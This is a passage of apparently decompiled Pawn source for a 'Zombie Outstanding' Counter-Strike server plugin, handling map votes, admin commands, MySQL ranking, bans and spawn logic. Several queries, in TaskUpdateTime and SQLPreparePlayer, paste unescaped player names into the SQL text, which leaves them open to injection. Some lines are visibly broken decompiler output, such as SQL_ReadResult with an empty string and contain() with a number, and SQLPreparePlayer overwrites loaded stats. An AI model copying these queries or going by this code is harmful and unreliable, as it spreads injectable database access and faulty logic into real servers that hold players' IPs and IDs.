				    client_print_color(0, print_team_grey, "^1Player^4 %s^1 voted for^4 %s^1 (^4%d^1 votes)", g_cName[iPlayer], g_cMaps[iKeyMinusDoi], g_iVotes[iKeyMinusUnu] + 1);
				    g_iVotes[iKeyMinusUnu]++;
				}	
				else
				{
				    client_print_color(0, print_team_grey, "^1Player^4 %s^1 voted for^4 %s^1 (^4%d^1 votes)", g_cName[iPlayer], g_cMaps[iKeyMinusDoi], g_iVotes[iKeyMinusUnu] + 1);
				    g_iVotes[iKeyMinusUnu]++;
				}	
			}
		}
		else
		{
			client_print_color(iPlayer, print_team_grey, "^1This vote is^4 no longer^1 available!");
			return 1;
		}
	}
	return 0;
}

public SecondVotePanel(iPlayer, iMenu, iItem)
{
	if (0 < iPlayer < g_iMaxClients + 1 && g_bConnected[iPlayer])
	{
		if (g_bSecondVoting)
		{
			static iKeyMinusUnu;
			static iKey;
			static iDummy;
			static cData[32];
			menu_item_getinfo(iMenu, iItem, iDummy, cData, charsmax ( cData ), _, _, iDummy);
			iKey = str_to_num(cData);
			iKeyMinusUnu = iKey + -1;
			if (0 > iKeyMinusUnu)
			{
				iKeyMinusUnu = 0;
			}
			if (g_iSecondVotes[iKeyMinusUnu] == 1)
			{
			    client_print_color(0, print_team_grey, "^1Player^4 %s^1 voted for^4 %s^1 (^4%d^1 votes)", g_cName[iPlayer], g_cSecondMaps[iKeyMinusUnu], g_iSecondVotes[iKeyMinusUnu] + 1);
			    g_iSecondVotes[iKeyMinusUnu]++;
			}
			else
			{
			    client_print_color(0, print_team_grey, "^1Player^4 %s^1 voted for^4 %s^1 (^4%d^1 votes)", g_cName[iPlayer], g_cSecondMaps[iKeyMinusUnu], g_iSecondVotes[iKeyMinusUnu] + 1);
			    g_iSecondVotes[iKeyMinusUnu]++;
			}
		}
		else
		{
			client_print_color(iPlayer, print_team_grey, "^1This vote is^4 no longer^1 available!");
			return 1;
		}
	}
	return 0;
}

public CmdSlay(iPlayer)
{
	if (g_bAdmin[iPlayer] && AdminHasFlag(iPlayer, 101))
	{
		if (2 > read_argc())
		{
			console_print(iPlayer, "[Zombie Outstanding] Command usage is amx_slay <#userid or name>");
			return 1;
		}
		static iTarget;
		static cTarget[32];
		read_argv(1, cTarget, 32);
		iTarget = cmd_target ( iPlayer, cTarget, CMDTARGET_OBEY_IMMUNITY | CMDTARGET_NO_BOTS | CMDTARGET_ALLOW_SELF );
		if (iTarget)
		{
			client_print_color(0, print_team_grey, "^4[Zombie Outstanding]^1 Admin^4 %s^1 slayed^4 %s", g_cName[iPlayer], g_cName[iTarget]);
			kill(iTarget);
		}
		return 1;
	}
	return 0;
}

public TimerChangeMap()
{
	if (!g_bEnded)
	{
		g_bEnded = true;
		g_fLastQuery = 999999.0;
		g_fLastRankQuery = 999999.0;
		g_fLastBanQuery = 999999.0;
		static i;
		i = 1;
		while (g_iMaxClients + 1 > i)
		{
			g_bUnlimitedClip[i] = 0;
			g_bRanked[i] = 0;
			i += 1;
		}
		i = 0;
		while (i < 1500)
		{
			remove_task(i, 0);
			i += 1;
		}
		set_task(0.75, "ShutDownSQL", 0, "", 0, "", 0);
	}
	return 0;
}

public ShutDownSQL()
{
	g_fLastQuery = 999999.0;
	g_fLastRankQuery = 999999.0;
	g_fLastBanQuery = 999999.0;
	static i;
	i = 0;
	while (i < 1500)
	{
		remove_task(i, 0);
		i += 1;
	}
	client_print_color(0, print_team_grey, "^4[Zombie Outstanding]^1 Shutting down^3 MySQL^1 connection... Map change in^3 11 seconds!");
	set_task(11.75, "TaskInt", 0, "", 0, "", 0);
	return 0;
}

public TaskInt()
{
	if (callfunc_begin("First_SpecialTask", "MapEndManager.amxx") == 1)
	{
		callfunc_end();
	}
	set_task(0.12, "TaskChangeLevel", 800, "", 0, "", 0);
	return 0;
}

public TaskUnloadB()
{
	server_cmd("amxx pause ZombieOutstanding.amxx");
	return 0;
}

public TaskUpdateTime(iTask)
{
	if (g_bRanked[iTask + -400])
	{
		g_iOnlineTime[iTask + -400] += 5;
		GetTimeLength(g_iOnlineTime[iTask + -400], g_cOnlineTime[iTask + -400], 32);
		formatex(g_cQuery, 255, "UPDATE r SET y=y+5,t=unix_timestamp(now()) WHERE n='%s'", g_cName[iTask + -400]);
		SQL_ThreadQuery(g_hSQLTuple, "SQLEmpty", g_cQuery, hQuery, 0);
		if (!(g_iOnlineTime[iTask + -400] % 2))
		{
			send_say_text(iTask + -400, g_iMaxClients + 1, "^4[Zombie Outstanding]^1 You played^4 +10 minutes^1 then you receive^4 4^1 packs!");
			g_iPacks[iTask + -400] += 4;
		}
	}
	return 0;
}

public SQLPreparePlayer(iFailState, Handle:hQuery, cError[], iErrorNum, cData[], iDataSize, Float:fQueueTime)
{
	static iPlayer;
	iPlayer = str_to_num(cData);
	if (!g_bRanked[iPlayer])
	{
		if (SQL_NumResults(hQuery))
		{
			g_iScore[iPlayer] = SQL_ReadResult(hQuery, 0);
			g_iKills[iPlayer] = SQL_ReadResult(hQuery, 1);
			g_iDeaths[iPlayer] = SQL_ReadResult(hQuery, 2);
			g_iPoints[iPlayer] = SQL_ReadResult(hQuery, "");
			g_iOnlineTime[iPlayer] = SQL_ReadResult(hQuery, 4);
			GetTimeLength(g_iOnlineTime[iPlayer], g_cOnlineTime[iPlayer], 32);
			g_bRanked[iPlayer] = 1;
			show_glow_message(str_to_num(cData), "You are now ranked!", 40960, 0.02, 0.685, 1.75);
		}
		g_iScore[iPlayer] = 1000;
		g_iOnlineTime[iPlayer] = 0;
		g_iDeaths[iPlayer] = 0;
		g_iKills[iPlayer] = 0;
		g_iPoints[iPlayer] = 0;
		formatex(g_cQuery, 256, "INSERT INTO r VALUES ('%s','%s','%s',1000,0,0,0,0,unix_timestamp(now()))", g_cName[iPlayer], g_cInternetProtocolAddress[iPlayer], g_cSteam[iPlayer]);
		SQL_ThreadQuery(g_hSQLTuple, "SQLLoadedRank", g_cQuery, cData, 3);
		g_iRanksCount += 1;
	}
	return 0;
}

public SQLGetMaps(iFailState, Handle:hQuery, cError[], iErrorNum, cData[], iDataSize, Float:fQueueTime)
{
	if (SQL_NumResults(hQuery) > 3 && get_cvar_num("mp_timelimit") > 3)
	{
		static bool:bStop;
		static cMaps[128][32];
		static iRandom;
		static iPreparedMaps;
		static iValidMaps;
		static iMaps;
		iPreparedMaps = 0;
		iValidMaps = 0;
		iMaps = 0;
		while (SQL_MoreResults(hQuery))
		{
			SQL_ReadResult(hQuery, 0, cMaps[iMaps], 32);
			if (is_map_valid(cMaps[iMaps]))
			{
				iValidMaps += 1;
			}
			iMaps += 1;
			SQL_NextRow(hQuery);
		}
		if (iValidMaps > 3)
		{
			while (iPreparedMaps != 4)
			{
				iRandom = random_num(0, iMaps + -1);
				bStop = false;
				g_iVariable = 0;
				while (g_iVariable < 4)
				{
					if (equal(cMaps[iRandom], g_cMaps[g_iVariable], 0))
					{
						bStop = true;
					}
					g_iVariable += 1;
				}
				if (!bStop)
				{
					if (is_map_valid(cMaps[iRandom]))
					{
						formatex(g_cMaps[iPreparedMaps], 32, "%s", cMaps[iRandom]);
						iPreparedMaps += 1;
					}
				}
			}
			set_task(30.0, "CheckTimeleft", 25613, "", 0, "b", 0);
		}
		else
		{
			set_cvar_string("nextmap", "zm_ice_attack3");
		}
	}
	else
	{
		set_cvar_string("nextmap", "zm_ice_attack3");
	}
	return 0;
}

public CheckSecondVotes()
{
	static iVoteOption;
	static iMaximumVotes;
	g_bSecondVoting = false;
	iMaximumVotes = -1;
	g_iVariable = 0;
	while (g_iVariable < 2)
	{
		if (iMaximumVotes < g_iSecondVotes[g_iVariable])
		{
			iMaximumVotes = g_iSecondVotes[g_iVariable];
			iVoteOption = g_iVariable;
		}
		g_iVariable += 1;
	}
	client_print_color(0, print_team_grey, "^1The next map will be^4 %s", g_cSecondMaps[iVoteOption]);
	set_cvar_string("nextmap", g_cSecondMaps[iVoteOption]);
	if (g_bConnected[g_iVoter])
	{
		g_iMenu = menu_create("Do you want to change it right now?", "_MenuChange", 0);
		menu_additem(g_iMenu, "Yes, change it now!", "0", 0, -1);
		menu_additem(g_iMenu, "Change it just next map...", "1", 0, -1);
		menu_additem(g_iMenu, "Don't change it!", "2", 0, -1);
		menu_setprop(g_iMenu, 6, -1);
		menu_display(g_iVoter, g_iMenu, 0);
	}
	g_iSecondVotes[3] = 0;
	g_iSecondVotes[2] = 0;
	g_iSecondVotes[1] = 0;
	g_iSecondVotes[0] = 0;
	return 0;
}

public _MenuChange(iPlayer, iMenu, iItem)
{
	static iChoice;
	static iDummy;
	static cBuffer[3];
	menu_item_getinfo(iMenu, iItem, iDummy, cBuffer, "", {0}, 0, iDummy);
	iChoice = str_to_num(cBuffer);
	switch (iChoice)
	{
		case 0:
		{
			static cMap[32];
			get_cvar_string("nextmap", cMap, 32);
			client_print_color(0, print_team_grey, "^4[Zombie Outstanding]^1 Changing map to^4 %s^1...", cMap);
			set_cvar_num("mp_timelimit", 4096);
            set_task(1.0, "TimerChangeMap", 0, "", 0, "", 0);
		}
		case 1:
		{
			static cMap[32];
			get_cvar_string("nextmap", cMap, 32);
			client_print_color(0, print_team_grey, "^4[Zombie Outstanding]^1 Console variable^4 nextmap^1 has been changed to^4 %s^1...", cMap);
			set_cvar_num("mp_timelimit", 4096);
		}
		case 2:
		{
			client_print_color(0, print_team_grey, "^4[Zombie Outstanding]^1 We will stay here...");
		}
		default:
		{
		}
	}
	return 0;
}

public CheckVotes()
{
	static iVoteOption;
	static iMaximumVotes;
	g_bVoting = false;
	iMaximumVotes = -1;
	g_iVariable = 0;
	while (g_iVariable < 5)
	{
		if (iMaximumVotes < g_iVotes[g_iVariable])
		{
			iMaximumVotes = g_iVotes[g_iVariable];
			iVoteOption = g_iVariable;
		}
		g_iVariable += 1;
	}
	if (iVoteOption)
	{
		client_print_color(0, print_team_grey, "^1The next map will be^4 %s", g_cMaps[iVoteOption + -1]);
		set_cvar_string("nextmap", g_cMaps[iVoteOption + -1]);
		set_cvar_num("mp_timelimit", 4096);
	}
	else
	{
		client_print_color(0, print_team_grey, "^1This map will be extended with^4 10^1 minutes!");
		set_task(30.0, "CheckTimeleft", 25613, "", 0, "b", 0);
		set_cvar_num("mp_timelimit", get_cvar_num("mp_timelimit") + 10);
	}
	g_iVariable = 0;
	while (g_iVariable < 5)
	{
		g_iVotes[g_iVariable] = 0;
		g_iVariable += 1;
	}
	return 0;
}

public CheckTimeleft(iDecimal)
{
	static Float:fTimeLeft;
	fTimeLeft = GetTimeLeft();
	if (get_cvar_num("mp_timelimit") && fTimeLeft < 200.0 && !g_bSecondVoting && !g_bVoting)
	{
		remove_task(iDecimal, 0);
		g_bVoting = true;
		set_task(15.0, "CheckVotes", 0, "", 0, "", 0);
		g_iMenu = menu_create("Choose the next map!", "VotePanel", 0);
		menu_additem(g_iMenu, "Extend this map", "1", 0, -1);
		static j[32];
		static i;
		i = 2;
		g_iVariable = 0;
		while (g_iVariable < 4)
		{
			num_to_str(i, j, 32);
			menu_additem(g_iMenu, g_cMaps[g_iVariable], j, 0, -1);
			i += 1;
			g_iVariable += 1;
		}
		menu_setprop(g_iMenu, 6, -1);
		g_iVariable = 1;
		while (g_iMaxClients + 1 > g_iVariable)
		{
			if (g_bConnected[g_iVariable])
			{
				menu_display(g_iVariable, g_iMenu, 0);
			}
			g_iVariable += 1;
		}
	}
	return 0;
}

public SQLCheckAdmin(iFailState, Handle:hQuery, cError[], iErrorNum, cData[], iDataSize, Float:fQueueTime)
{
	if (SQL_NumResults(hQuery) == 1)
	{
		new iPlayer;
		new cPassword[32];
		new cFlags[42];
		new cTag[32];
		iPlayer = str_to_num(cData);
		SQL_ReadResult(hQuery, 0, cFlags, 41);
		SQL_ReadResult(hQuery, 1, cPassword, 31);
		SQL_ReadResult(hQuery, 2, cTag, 31);
		if (equali(cPassword, g_cPasswords[iPlayer], 0) && strlen(cPassword) && strlen(cFlags) && strlen(g_cPasswords[iPlayer]))
		{
			g_bAdmin[iPlayer] = 1;
			formatex(g_cAdminFlags[iPlayer], 42, "%s", cFlags);
			formatex(g_cTag[iPlayer], 24, "%s", cTag);
			show_glow_message(iPlayer, "You are now administrator!", 6904269, 0.02, 0.6, 1.75);
		}
		else
		{
			g_bAdmin[iPlayer] = 0;
			formatex(g_cAdminFlags[iPlayer], 42, "%s", cFlags);
			server_cmd("kick #%d  Incorrect password!", get_user_userid(iPlayer));
		}
	}
	return 0;
}

public SQLBanCheck(iFailState, Handle:hQuery, cError[], iErrorNum, cData[], iDataSize, Float:fQueueTime)
{
	if (SQL_NumResults(hQuery))
	{
		server_cmd("kick #%d  You are banned! Check http://csaddicted.com/bans", get_user_userid(str_to_num(cData)));
	}
	return 0;
}

GetTimeLength(iTime, sTime[], iLength)
{
	static sElement[2][12];
	static sA[15];
	static iElement;
	static iSecond;
	static iMinute;
	static iHour;
	iSecond = 0;
	iMinute = 0;
	iHour = 0;
	iElement = -1;
	iSecond = iTime * 60;
	iHour = iSecond / 3600;
	iSecond = iSecond - iHour * 3600;
	iMinute = iSecond / 60;
	iSecond = iSecond - iMinute * 60;
	if (0 < iHour)
	{
		AddCommas(iHour, sA, 14);
		iElement += 1;
		formatex(sElement[iElement], 11, "%s h", sA);
	}
	iElement += 1;
	formatex(sElement[iElement], 11, "%d m", iMinute);
	switch (iElement)
	{
		case 0:
		{
			formatex(sTime, iLength, "%s", sElement[0]);
		}
		case 1:
		{
			formatex(sTime, iLength, "%s %s", sElement[0], sElement[1]);
		}
		default:
		{
		}
	}
	return 0;
}

Float:GetTimeLeft()
{
    return get_cvar_float("mp_timelimit") * 60.0 - get_gametime();
}

public client_disconnect(iPlayer)
{
	static iTimeLimit;
	iTimeLimit = get_pcvar_num(g_iTimeLimit);
	if (iTimeLimit != 4096)
	{
		if (g_bAlive[iPlayer])
		{
			CheckLastPlayer(iPlayer);
		}
		InsertInfo(iPlayer);
		ArrayPushString(g_aNameData, g_cName[iPlayer]);
		ArrayPushCell(g_aAmmoData, g_iPacks[iPlayer]);
	}
	remove_task(iPlayer + 50, 0);
	remove_task(iPlayer + 100, 0);
	remove_task(iPlayer + 150, 0);
	remove_task(iPlayer + 250, 0);
	remove_task(iPlayer + 200, 0);
	remove_task(iPlayer + 300, 0);
	remove_task(iPlayer + 850, 0);
	remove_task(iPlayer + 350, 0);
	remove_task(iPlayer + 400, 0);
	remove_task(iPlayer + 500, 0);
	remove_task(iPlayer + 450, 0);
	if (g_iPlantedMines[iPlayer])
	{
		g_iPoints[iPlayer] = 0;
		g_iPlantedMines[iPlayer] = 0;
	}
	g_iPlayerMines[iPlayer][1] = 0;
	g_iPlayerMines[iPlayer][0] = 0;
	g_iPlantedMines[iPlayer] = 0;
	g_iTripMines[iPlayer] = 0;
	g_iBlinks[iPlayer] = 0;
	g_bRemoving[iPlayer] = 0;
	g_bPlanting[iPlayer] = 0;
	g_bAdminModel[iPlayer] = 0;
	g_bServerSlot[iPlayer] = 0;
	g_bDoubleDamage[iPlayer] = 0;
	g_bUnlimitedClip[iPlayer] = 0;
	g_bTryder[iPlayer] = 0;
	g_bAlive[iPlayer] = 0;
	g_bConnected[iPlayer] = 0;
	g_fGagTime[iPlayer] = 0;
	return 0;
}

public SQLGetRank(iFailState, Handle:hQuery, cError[], iErrorNum, cData[], iDataSize, Float:fQueueTime)
{
	static cScore[15];
	static cDeaths[15];
	static cKills[15];
	static cTotal[15];
	static cRank[15];
	static iRank;
	static iPlayer;
	iPlayer = str_to_num(cData);
	iRank = SQL_NumResults(hQuery);
	AddCommas(iRank, cRank, 15);
	AddCommas(g_iRanksCount, cTotal, 15);
	AddCommas(g_iDeaths[iPlayer], cDeaths, 15);
	AddCommas(g_iKills[iPlayer], cKills, 15);
	AddCommas(g_iScore[iPlayer], cScore, 15);
	g_iMenu = menu_create("Ranking", "EmptyPanel", 0);
	formatex(g_cQuery, 255, "Rank: %s of %s  Score: %s", cRank, cTotal, cScore);
    menu_additem(g_iMenu, g_cQuery, "1", 0, -1);
	new var1;
	if (g_iDeaths[iPlayer])
	{
		var1 = floatdiv(float(g_iKills[iPlayer]), float(g_iDeaths[iPlayer]));
	}
	else
	{
		var1 = float(g_iKills[iPlayer]);
	}
	formatex(g_cQuery, 255, "Kills: %s  Deaths: %s  KPD: %0.2f", cKills, cDeaths, var1);
    menu_additem(g_iMenu, g_cQuery, "2", 0, -1);
	formatex(g_cQuery, 255, "Online: %s", g_cOnlineTime[iPlayer]);
    menu_additem(g_iMenu, g_cQuery, "3", 0, -1);
    menu_setprop(g_iMenu, 6, -1);
    menu_display(iPlayer, g_iMenu, 0);
	new var2;
	if (g_iDeaths[iPlayer])
	{
		var2 = floatdiv(float(g_iKills[iPlayer]), float(g_iDeaths[iPlayer]));
	}
	else
	{
		var2 = float(g_iKills[iPlayer]);
	}
	client_print_color(0, print_team_grey, "^4[Zombie Outstanding]^3 %s^1's rank is^4 %s^1 of^4 %s^1 --^3 %0.2f KPD", g_cName[iPlayer], cRank, cTotal, var2);
	return 0;
}

public EventHLTV()
{
	g_bRoundStart = true;
	g_bModeStarted = false;
	g_fRoundStartTime = get_gametime();
	return 0;
}

public TaskCounter()
{
	g_iCounter -= 1;
	if (0 < g_iCounter < 9)
	{
		static cWord[12];
		num_to_word(g_iCounter, cWord, 12);
        set_hudmessage(179, 0, 0, -1.00, 0.28, 2, 0.02, 1.00, 0.01, 0.10, 10);
		ShowSyncHudMsg(0, g_iCounterMessage, "Infection in %d", g_iCounter);
		client_cmd(0, "spk fvox/%s", cWord);
	}
	return 0;
}

public EventRoundStart()
{
	g_iRoundType = 0;
	new var3 = false;
	g_bModeStarted = var3;
	g_bRoundEnd = var3;
	g_bRoundStart = true;
    remove_task(650, 0);
    set_task(2.00, "TaskWelcome", 650, "", 0, "", 0);
    g_iCounter = 16;
    remove_task(550, 0);
    set_task(16.00, "TaskZombie", 550, "", 0, "", 0);
    remove_task(700, 0);
    set_task(1.00, "TaskCounter", 700, "", 0, "a", 15);
    static i;
	i = 1;
	while (g_iMaxClients + 1 > i)
	{
		if (g_bConnected[i] && get_user_jetpack(i))
		{
            set_user_rocket_time(i, 0);
		}
		g_iMaxJumps[i] = 0;
		g_iPlantedMines[i] = 0;
		g_iTripMines[i] = 0;
		g_iBlinks[i] = 0;
		g_iPlayerMines[i][1] = 0;
		g_iPlayerMines[i][0] = 0;
		g_iKillsThisRound[i] = 0;
		g_bGaveThisRound[i] = 0;
		g_bDoubleDamage[i] = 0;
		g_bTryder[i] = 0;
		g_bUnlimitedClip[i] = 0;
		if (g_bConnected[i] && VipHasFlag(i, 106) && g_iMaxJumps[i])
		{
			g_iMaxJumps[i] = 1;
		}
		i += 1;
	}
	static cMap[32];
	get_cvar_string("nextmap", cMap, 32);
	if (get_cvar_num("mp_timelimit") == 4096)
	{
        set_task(0.75, "TimerChangeMap", 0, "", 0, "", 0);
	}
	return 0;
}

public CmdChat(iPlayer)
{
	if (g_bAdmin[iPlayer] && AdminHasFlag(iPlayer, 102))
	{
		static i;
		static cPhrase[192];
		read_args(cPhrase, 192);
		remove_quotes(cPhrase);
		if (contain(cPhrase, 383812) != -1)
		{
			return 1;
		}
		cPhrase[189] = 0;
		i = 1;
		while (g_iMaxClients + 1 > i)
		{
			if (g_bConnected[i] && g_bAdmin[i])
			{
				client_print_color(i, print_team_grey, "^4[ADMINS]^3 %s^1 :  %s", g_cName[iPlayer], cPhrase);
			}
			i += 1;
		}
	}
	return 1;
}

public CmdSayChat(iPlayer)
{
	if (g_bAdmin[iPlayer] && AdminHasFlag(iPlayer, 121))
	{
		static i;
		static cPhrase[192];
		read_args(cPhrase, 192);
		remove_quotes(cPhrase);
		if (contain(cPhrase, "%") != -1)
		{
			return 1;
		}
		cPhrase[189] = 0;
		i = 1;
		while (g_iMaxClients + 1 > i)
		{
			if (g_bConnected[i])
			{
				client_print_color(i, print_team_grey, "^4[ALL]^3 %s^1 :  %s", g_cName[iPlayer], cPhrase);
			}
			i += 1;
		}
	}
	return 1;
}

public TaskRespawn(iPlayer)
{
	if (g_bConnected[iPlayer] && 0 < get_team(iPlayer) < 3)
	{
		if (!g_bAlive[iPlayer])
		{
			ExecuteHamB(Ham_CS_RoundRespawn, iPlayer);
            set_task(1.5, "TaskRespawn", iPlayer, "", 0, "", 0);
		}
		send_hide_weapon(iPlayer, 32);
		send_crosshair(iPlayer);
	}
	return 0;
}

public EventRoundEnd()
{
	static Float:fCurrent;
	static Float:fLast;
	fCurrent = get_gametime();
	if (floatsub(fCurrent, fLast) < 0.5)
	{
		return 0;
	}
	fLast = fCurrent;
	g_iRoundsCount += 1;
	g_iRounds[g_iRoundsCount] = g_iRoundType;
	g_bRoundEnd = true;
	g_bModeStarted = false;
	g_iRoundType = 0;
	remove_task(600, 0);
	remove_task(700, 0);
	remove_task(550, 0);
	remove_task(900, 0);
	remove_task(650, 0);
	client_cmd(0, "stopsound");
	if (!GetZombies())
	{
        set_hudmessage(0, 0, 200, -1.00, 0.17, 0, 0.00, 3.00, 2.00, 1.00, -1);
		ShowSyncHudMsg(0, g_iTopMessageSync, "Humans have defeated the plague!");
		client_cmd(0, "spk %s", g_cEndRoundHumanSounds[random_num(0, 2)]);
	}
	else
	{
		if (!GetHumans())
		{
            set_hudmessage(200, 0, 0, -1.00, 0.17, 0, 0.00, 3.00, 2.00, 1.00, -1);
			ShowSyncHudMsg(0, g_iTopMessageSync, "Zombies have taken over the world!");
			client_cmd(0, "spk %s", g_cEndRoundZombieSounds[random_num(0, 3)]);
		}
		else
		{
			set_hudmessage(0, 200, 0, -1.00, 0.17, 0, 0.00, 3.00, 2.00, 1.00, -1);
			ShowSyncHudMsg(0, g_iTopMessageSync, "No one won...");
			client_cmd(0, "spk ZombieOutstanding/end_round_win_no_one");
		}
	}
	static iFrags;
	static iMaximumPacks;
	static iMaximumKills;
	static iPacksLeader;
	static iKillsLeader;
	iMaximumPacks = 0;
	iMaximumKills = 0;
	iPacksLeader = 0;
	iKillsLeader = 0;
	g_iVariable = 1;
	while (g_iMaxClients + 1 > g_iVariable)
	{
		if (g_bConnected[g_iVariable])
		{
			iFrags = get_user_frags(g_iVariable);
			if (iFrags > iMaximumKills)
			{
				iMaximumKills = iFrags;
				iKillsLeader = g_iVariable;
			}
		}
		g_iVariable += 1;
	}
	g_iVariable = 1;
	while (g_iMaxClients + 1 > g_iVariable)
	{
		if (g_bConnected[g_iVariable] && g_iPacks[g_iVariable] > iMaximumPacks)
		{
			iMaximumPacks = g_iPacks[g_iVariable];
			iPacksLeader = g_iVariable;
		}
		g_iVariable += 1;
	}
	if (g_bConnected[iKillsLeader])
	{
		static a[15];
		AddCommas(iMaximumKills, a, 14);
		if (g_iKillsThisRound[iKillsLeader])
		{
			client_print_color(0, print_team_grey, "^3%s^1 is^4 Leader^1 with^4 %s^1 frags! [^4 %d^1 this round ]", g_cName[iKillsLeader], a, g_iKillsThisRound[iKillsLeader]);
		}
		else
		{
			client_print_color(0, print_team_grey, "^3%s^1 is^4 Leader^1 with^4 %s^1 frags!", g_cName[iKillsLeader], a);
		}
	}
	if (g_bConnected[iPacksLeader])
	{
		static a[15];
		AddCommas(iMaximumPacks, a, 14);
		
		client_print_color(0, print_team_grey, "^3%s^1 is^4 Leader^1 with^4 %s^1 packs!", g_cName[iPacksLeader], a);
	}
	static iTeam;
	static j;
	static i;
	i = random_num(1, g_iMaxClients);
	iTeam = 1;
	j = 1;
	while (g_iMaxClients + 1 > j)
	{
		i += 1;
		if (i > g_iMaxClients)
		{
			i = 1;
		}
		if (!g_bConnected[i] || 0 < get_team(i) < 3)
		{
		}
		else
		{
			if (iTeam > 2)
			{
				iTeam = 1;
			}
			set_team_offset(i, iTeam);
			iTeam += 1;
		}
		j += 1;
	}
	return 0;
}

public OnPlayerSpawn(iPlayer)
{
	if (is_user_alive(iPlayer))
	{
		g_bAlive[iPlayer] = 1;
		new var1;
		if (VipHasFlag(iPlayer, 100))
		{
			var1 = 1;
		}
		else
		{
			var1 = 0;
		}
		g_bCachedDamage[iPlayer] = var1;
		g_cClass[iPlayer] = "Human"
		g_iBurningDuration[iPlayer] = 0;
		g_iPlayerType[iPlayer] = 0;
		g_bKilling[iPlayer] = 0;
		g_bUnlimitedClip[iPlayer] = 0;
		g_bDoubleDamage[iPlayer] = 0;
		g_bNoDamage[iPlayer] = 0;
		g_bZombie[iPlayer] = 0;
		g_bFlashEnabled[iPlayer] = 0;
		g_bFlash[iPlayer] = 0;
		set_zombie(iPlayer, 0);
		set_monster(iPlayer, 0);
		remove_glow(iPlayer);
		g_bFrozen[iPlayer] = 0;
		set_take_damage(iPlayer, 2);
		set_frozen(iPlayer, 0);
		set_health(iPlayer, 150);
		set_gravity(iPlayer, 1.0);
		set_speed(iPlayer, 240.0);
		remove_task(iPlayer + 250, 0);
		remove_task(iPlayer + 200, 0);
		remove_task(iPlayer + 350, 0);
		static Float:fCurrentTime;
		fCurrentTime = get_gametime();
		if (fCurrentTime - g_fLastChangedModel >= 0.35)
		{
            ChangeModel(iPlayer + 250);
            g_fLastChangedModel = fCurrentTime;
		}
		else
		{
            set_task(g_fLastChangedModel + 0.35 - fCurrentTime, "ChangeModel", iPlayer + 250, "", 0, "", 0);
            g_fLastChangedModel = g_fLastChangedModel + 0.35;
		}
		set_task(0.2, "TaskShowMenu", iPlayer, "", 0, "", 0);
		set_task(random_float(1.0, 5.0), "TaskRespawn", iPlayer, "", 0, "", 0);
		if (!g_bRoundStart)
		{
			if (g_iRoundType & 4 || g_iRoundType & 8 || g_iRoundType & 64)
			{
				MakeZombie(0, iPlayer, false, false, false);
			}
			if (!g_iRoundType || g_iRoundType & 1 || g_iRoundType & 2)
			{
				if (get_team(iPlayer) != 2)
				{
					set_team(iPlayer, 2);
				}
			}
			if (g_iRoundType & 128 || g_iRoundType & 256)
			{
				MakeHuman(iPlayer, true, false);
			}
			if (g_iRoundType & 512)
			{
				MakeZombie(0, iPlayer, false, false, true);
			}
		}
		if (g_Hidden[iPlayer])
		{
			Make_Client_Visible(iPlayer);
			g_Hidden[iPlayer] = 0;
		}
		if (VipHasFlag(iPlayer, 106) && g_iMaxJumps[iPlayer] != 1)
		{
			g_iMaxJumps[iPlayer] = 1;
		}
		if (VipHasFlag(iPlayer, 97) && get_armor(iPlayer) <= 50)
		{
			set_armor(iPlayer, get_armor(iPlayer) + 50);
		}
		if (VipHasFlag(iPlayer, 104))
		{
			set_health(iPlayer, get_health(iPlayer) + 150);
		}
		set_task(1.0, "TaskPrepSpa", iPlayer, "", 0, "", 0);
	}
	return 0;
}

public TaskPrepSpa(iPlayer)
{
	if (is_user_alive(iPlayer) && get_team(iPlayer) == 1 && !g_bZombie[iPlayer] && g_bRoundStart)
	{
		set_team(iPlayer, 2);
	}
	return 0;
}

public TaskShowMenu(iPlayer)
{
	if (g_bAlive[iPlayer] && !g_iPlayerType[iPlayer] && !g_bZombie[iPlayer])
	{
		menu_display(iPlayer, g_iSecondaryMenu, 0);
	}
	return 0;
}

public _SecondaryMenu(iPlayer, iMenu, iItem)
{
	if (iItem != -3 && g_bAlive[iPlayer] && !g_bZombie[iPlayer] && !g_iPlayerType[iPlayer])
	{
		static iChoice;
		static iDummy;
		static cBuffer[3];
        menu_item_getinfo(iMenu,iItem, iDummy, cBuffer, charsmax ( cBuffer ), _, _, iDummy );
		iChoice = str_to_num(cBuffer);
		give_item(iPlayer, g_cSecondaryEntities[iChoice]);
		cs_set_user_bpammo(iPlayer, g_iSecondaryWeapons[iChoice], 9999);
		menu_display(iPlayer, g_iPrimaryMenu, 0);
	}
	return 0;
}

public _PrimaryMenu(iPlayer, iMenu, iItem)
{
	if (iItem != -3 && g_bAlive[iPlayer] && !g_bZombie[iPlayer] && !g_iPlayerType[iPlayer])
	{
		static iChoice;
		static iDummy;
		static cBuffer[3];
        menu_item_getinfo(iMenu,iItem, iDummy, cBuffer, charsmax ( cBuffer ), _, _, iDummy );
		iChoice = str_to_num(cBuffer);
		give_item(iPlayer, g_cPrimaryEntities[iChoice]);
		cs_set_user_bpammo(iPlayer, g_iPrimaryWeapons[iChoice], 9999);
		if (!user_has_weapon(iPlayer, 4, -1))
		{
			give_item(iPlayer, "weapon_hegrenade");
		}
		if (!user_has_weapon(iPlayer, 25, -1))
		{
			give_item(iPlayer, "weapon_flashbang");
		}
		if (!user_has_weapon(iPlayer, 9, -1))
		{
			give_item(iPlayer, "weapon_smokegrenade");
		}
	}
	return 0;
}


public ChangeModel(iTask)
{
	static bool:bChange;
	static cModel[24];
	static i;
	static iPlayer;
	iPlayer = iTask + -250;
	bChange = true;
	get_user_model(iPlayer, cModel, 24);
	if (!g_bZombie[iPlayer])
	{
		if (!g_iPlayerType[iPlayer])
		{
			if (g_bAdmin[iPlayer] && AdminHasFlag(iPlayer, 109) && !g_bVip[iPlayer])
			{
				if (equal(cModel, "z_out_admin", 0))
				{
					bChange = false;
				}
			}
			if (g_bVip[iPlayer])
			{
				if (equal(cModel, "DanDiaconescu", 0))
				{
					bChange = false;
				}
			}
			i = 0;
			while (i < 4)
			{
				if (equal(cModel, g_cHumanModels[i], 0))
				{
					bChange = false;
				}
				i += 1;
			}
		}
	}
	if (bChange)
	{
		if (!g_bZombie[iPlayer])
		{
			if (!g_iPlayerType[iPlayer])
			{
				if (g_bAdmin[iPlayer] && AdminHasFlag(iPlayer, 109) && !g_bVip[iPlayer])
				{
					set_user_model(iPlayer, "z_out_admin");
				}
				else
				{
					if (g_bVip[iPlayer])
					{
						set_user_model(iPlayer, "DanDiaconescu");
					}
					else
					{
						set_user_model(iPlayer, g_cHumanModels[random_num(0, 3)]);
					}
				}
			}
			else
			{
				if (g_iPlayerType[iPlayer] & 4)
				{
					set_user_model(iPlayer, "z_out_survivor");
				}
